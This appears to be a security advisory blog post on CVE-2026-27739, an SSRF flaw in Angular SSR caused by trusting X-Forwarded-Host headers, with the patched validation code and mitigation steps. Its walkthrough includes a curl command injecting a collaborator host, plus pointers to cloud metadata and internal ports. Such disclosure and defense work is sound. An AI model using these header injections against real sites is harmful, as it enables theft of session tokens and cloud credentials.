Feb 26, 2026·6 min read·7 visits
Angular SSR failed to validate HTTP Host headers when reconstructing absolute URLs for server-side HTTP requests. Attackers can inject malicious 'X-Forwarded-Host' headers to steer internal API calls toward arbitrary destinations (SSRF). This allows bypassing firewalls, accessing cloud metadata services, or stealing authentication tokens meant for the backend.
A critical Server-Side Request Forgery (SSRF) vulnerability in Angular's Server-Side Rendering (SSR) pipeline turns the framework's URL reconstruction logic against itself. By blindly trusting 'X-Forwarded-*' headers, Angular allows attackers to hijack internal API requests, effectively turning the SSR server into an open proxy for internal network probing and credential exfiltration. It's a classic case of 'implicit trust' gone wrong in a stateless environment.
Server-Side Rendering (SSR) is the bridge between the snappy user experience of a Single Page Application (SPA) and the SEO-friendly nature of static HTML. But this bridge has a massive structural flaw: it suffers from an identity crisis. In a browser, window.location is immutable and trusted. The browser knows exactly where it is. But on the server? The server is just a process listening on a port. It has no inherent concept of its 'public' identity.
To solve this, frameworks like Angular SSR try to be helpful. When your code says this.http.get('/api/users'), the server-side engine has to convert that relative path into an absolute URL (e.g., http://localhost:4000/api/users or https://production.com/api/users) to actually make the network call. How does it guess the base URL? It asks the incoming request headers.
CVE-2026-27739 is what happens when that helpfulness turns toxic. Angular blindly trusted the Host and X-Forwarded-Host headers provided by the client. It’s the digital equivalent of a bank teller asking a robber, 'accessing which account today?' and believing them when they say 'The CEO's'. By manipulating these headers, an attacker can trick the SSR engine into believing it resides on evil.com or localhost:admin-port, forcing the application to send its internal requests exactly where the attacker wants.
The vulnerability lies deep within the angular-cli and the (now deprecated) @nguniversal packages. Specifically, the logic responsible for reconstructing the full URL for HttpClient requests made during the SSR process. When an Angular app renders on the server (e.g., during ngOnInit), it often needs to fetch data to populate the HTML.
Prior to the patch, the logic looked roughly like this: 'If I need an absolute URL, I'll grab the protocol from X-Forwarded-Proto, the host from X-Forwarded-Host, and stitch them together.' This is a standard pattern for load balancers, but fatal for application logic exposed to the wild.
The flaw is the lack of a Source of Truth. The application did not compare these headers against a whitelist of allowed hosts. It didn't even sanitize them. It just concatenated strings. If you sent a header X-Forwarded-Host: 169.254.169.254, Angular would dutifully construct a URL pointing to the AWS Metadata service. If you sent X-Forwarded-Host: attacker.com, it would send your user's sensitive cookies or JWTs to an external server controlled by the adversary.
The fix introduced in Pull Request #32516 is a masterclass in 'trust but verify' (or rather, 'don't trust, just verify'). The Angular team introduced strict regex validation and a mandatory allowlist mechanism.
The Vulnerable Logic (Conceptual):
// The old way: Blind concatenation
const protocol = req.headers['x-forwarded-proto'] || 'http';
const host = req.headers['x-forwarded-host'] || req.headers.host;
const absoluteUrl = `${protocol}://${host}${req.url}`;
// result: http://evil.com/api/sensitive-dataThe Hardened Logic:
The patch introduces VALID_HOST_REGEX and VALID_PORT_REGEX to ensure that even if a header is read, it must conform to strict standards.
// The new guard rails
const VALID_HOST_REGEX = /^[a-z0-9.:-]+$/i;
const VALID_PORT_REGEX = /^\d+$/;
const VALID_PROTO_REGEX = /^https?$/i;
function validateHost(host: string, allowedHosts: string[]) {
// 1. Syntax Check
if (!VALID_HOST_REGEX.test(host)) {
throw new Error(`Invalid host format: ${host}`);
}
// 2. Allowlist Check
// If allowedHosts is configured, the header MUST match one of them.
if (allowedHosts.length > 0 && !allowedHosts.includes(host)) {
throw new Error(`Host not allowed: ${host}`);
}
}Furthermore, the joinUrlParts utility was rewritten. It now specifically strips leading and trailing slashes using a pointer-based approach to prevent 'protocol-relative' URL injection (e.g., //evil.com), which could bypass simple protocol checks.
Let's construct a realistic attack scenario. Imagine an e-commerce site using Angular SSR. When the product page loads, the server-side component fetches pricing info from /api/pricing/123. This request carries an Authorization header meant for the internal backend.
Step 1: The Setup
The attacker identifies the site is using Angular Universal/SSR (often visible via the server or transfer-state markers in the HTML source).
Step 2: The Injection The attacker sends a request to the public facing URL, but injects a malicious host header.
curl -v https://shop.target.com/products/123 \
-H "X-Forwarded-Host: collaborator.burpcollaborator.net" \
-H "X-Forwarded-Proto: http"Step 3: The Execution
this.http.get('/api/pricing/123').HttpClient interceptor on the server sees a relative URL.http://collaborator.burpcollaborator.net/api/pricing/123.Step 4: The Payoff
The attacker's collaborator server receives an incoming HTTP request from the victim's server. Crucially, if the application blindly forwards headers (like cookies or Bearer tokens) to 'internal' APIs, those credentials are now in the attacker's logs. Alternatively, the attacker points the host to localhost:9200 (Elasticsearch) to blindly probe for internal databases.
While this isn't direct Remote Code Execution (RCE), in modern cloud environments, SSRF is often just one hop away from total compromise.
1. Cloud Metadata Exfiltration:
If the Angular app is running on AWS EC2 or Google Cloud, pointing the X-Forwarded-Host to 169.254.169.254 could allow the attacker to retrieve the instance's IAM credentials. With those credentials, they own your cloud infrastructure.
2. Internal Network Mapping:
Attackers can use the SSR server as a pivot point. They can scan for open ports on localhost (Redis, Memcached, Admin panels) or other servers in the VPC that are not exposed to the public internet.
3. Token Leakage:
The most immediate risk is the leakage of user sessions. If the SSR logic includes an Authorization: Bearer <token> header in its API calls, and the attacker redirects that call to their own server, they steal the user's session instantly.
The fix requires a two-pronged approach: updating the code and configuring the environment.
1. Update Immediately
Update @angular/cli and @angular/ssr to version 19.2.21, 20.3.17, or 21.1.5 immediately. These versions contain the regex validation logic that prevents malformed hosts.
2. Configure allowedHosts
This is the critical step. Even with the patch, you must tell Angular who it is. You need to whitelist the domains your application is allowed to serve. In your angular.json or server configuration:
"architect": {
"build": {
"options": {
"allowedHosts": [
"myshop.com",
"api.myshop.com"
]
}
}
}3. Infrastructure Filtering
As a defense-in-depth measure, configure your reverse proxy (Nginx, AWS ALB) to strip X-Forwarded-Host headers coming from the internet, or strictly validate them before they ever reach the Node.js process. Never trust the client to tell you where the server lives.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
angular-cli Angular | < 19.2.21 | 19.2.21 |
angular-cli Angular | >= 20.0.0-next.0 < 20.3.17 | 20.3.17 |
angular-cli Angular | >= 21.0.0-next.0 < 21.1.5 | 21.1.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 (SSRF) |
| CVSS v4.0 | 9.2 (Critical) |
| Attack Vector | Network (Header Injection) |
| Impact | High Confidentiality (VC:H, SC:H) |
| Exploit Status | Proof-of-Concept Available |
| Patch Date | 2026-02-23 |
Server-Side Request Forgery (SSRF)